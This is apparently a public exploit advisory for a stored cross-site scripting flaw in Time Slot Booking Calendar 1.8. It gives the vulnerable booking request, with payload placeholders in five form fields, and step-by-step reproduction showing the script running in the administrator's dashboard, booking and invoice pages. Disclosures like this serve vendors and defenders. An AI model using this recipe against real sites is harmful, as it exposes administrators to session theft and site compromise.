# Exploit Title: Time Slot Booking Calendar 1.8 - Stored XSS
# Date: 29/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/time-slot-booking-calendar-php.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.



## Stored XSS

-----------------------------------------------
POST /TimeSlotBookingCalendarPHP/load.php?controller=GzFront&action=booking_details&cid=1 HTTP/1.1

promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=rtznqs&terms=1&cal_id=1&calendar_id=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Choose any Day Colored by Green on the Calendar - Click on [+] near Start/End Time - Press [Booking]
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"


7. Accept with terms & Press [Booking]
   XSS Fired on Local User Browser

8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
   XSS Will Fire and Executed on his Browser

9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
   XSS Will Fire and Executed on his Browser

10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
   XSS Will Fire and Executed on his Browser


[-] Done